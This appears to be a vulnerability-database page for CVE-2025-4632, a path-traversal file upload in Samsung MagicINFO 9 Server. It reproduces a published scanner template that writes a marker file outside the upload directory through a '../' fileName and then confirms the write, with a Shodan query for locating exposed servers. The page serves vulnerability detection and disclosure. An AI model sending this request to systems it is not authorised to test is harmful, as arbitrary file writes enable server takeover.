CVE-2025-4632: Samsung MagicINFO 9 Server - File Upload & Remote Code Execution

日期: 2025-08-01 | 影响软件: Samsung MagicINFO 9 Server | POC: 已公开

漏洞描述

Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1052 allows attackers to write arbitrary file as system authority.

PoC代码[已公开]

id: CVE-2025-4632

info:
  name: Samsung MagicINFO 9 Server - File Upload & Remote Code Execution
  author: s4e-io
  severity: critical
  description: |
    Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1052 allows attackers to write arbitrary file as system authority.
  reference:
    - https://arcticwolf.com/resources/blog/follow-up-samsung-patches-zero-day-vulnerability-magicinfo-9-server-cve-2025-4632/
    - https://ssd-disclosure.com/ssd-advisory-samsung-magicinfo-unauthenticated-rce/
    - https://www.huntress.com/blog/rapid-response-samsung-magicinfo9-server-flaw
    - https://nvd.nist.gov/vuln/detail/cve-2025-4632
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-4632
    cwe-id: CWE-22
    epss-score: 0.6212
    epss-percentile: 0.98307
    cpe: cpe:2.3:a:samsung:magicinfo_9_server:*:*:*:*:*:*:*:*
  metadata:
    vendor: samsung
    product: magicinfo_9_server
    shodan-query: "Server: magicinfo premium server"
  tags: cve,cve-2025,file-upload,kev,rce,intrusive,vkev

variables:
  filename: "{{rand_text_alpha(6)}}"
  deviceType: "{{rand_text_alpha(6)}}"
  deviceModelName: "{{rand_text_alpha(6)}}"
  swVer: "{{rand_int(100, 999)}}"
  marker: "{{rand_text_alpha(12)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/{{filename}}.html&deviceType={{deviceType}}&deviceModelName={{deviceModelName}}&swVer={{swVer}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain

        {{marker}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(server, "MagicInfo Premium Server")'
        condition: and
        internal: true

  - raw:
      - |
        GET /MagicInfo/{{filename}}.html HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{{marker}}")'
          - "status_code == 200"
        condition: and
# digest: 4a0a00473045022100ca6921587ea9f48b3be375d616da3bda309aee0d360c259f9d3a87580f5fc3800220383f8641d69c2b667131609bc9b1e103c9ca1d00c2947747bcd4c187b4134ad0:922c64590222798bb761d5b6d8e72950

相关漏洞推荐